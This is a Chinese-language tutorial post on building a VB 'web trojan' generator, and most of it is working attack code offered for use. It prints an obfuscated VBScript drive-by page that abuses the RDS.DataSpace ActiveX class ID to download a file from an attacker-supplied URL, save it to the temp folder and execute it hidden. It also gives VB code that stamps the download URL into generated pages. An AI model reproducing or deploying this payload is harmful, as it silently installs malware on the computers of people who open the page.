vb制作vb网马生成器-星旺坡

管理首页

动画介绍：大家好，我是Zaroty，很高兴能再次为大家做教程，这次呢，将教大家如何制作自己
的网马生成器。
我们用到的工具：
1：vb编辑器
2：万能图标提取器
3：自己喜欢的图片
4：代码

下面是所用到的代码：
第一段：
<html>
<script language="VBScript">
aeiq="Mi"
cfpy="cr"
fgsg="os"
lima="of"
bypz="t."
mbhi="XM"
pmzk="LH"
zqqi="TT"
wivb="P"
on error resume next
第二段：
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<head>
<title>Zaroty（个人专用版）</title>
</head><body>
<center>一切皆有可能</center>
</body></html>

生成网马按钮上的：

Dim a As Integer, b As Integer
Open App.Path & "/生成的网马.htm" For Append As #1
Print #1, Text1.Text
Print #1, " dl = """ & Text3.Text; """"
Print #1, Text2.Text
Close #1
MsgBox "生成成功！", , "Zaroty网马生成器"

教程到此结束，最后，本人诚征女友奉送初吻谢谢结束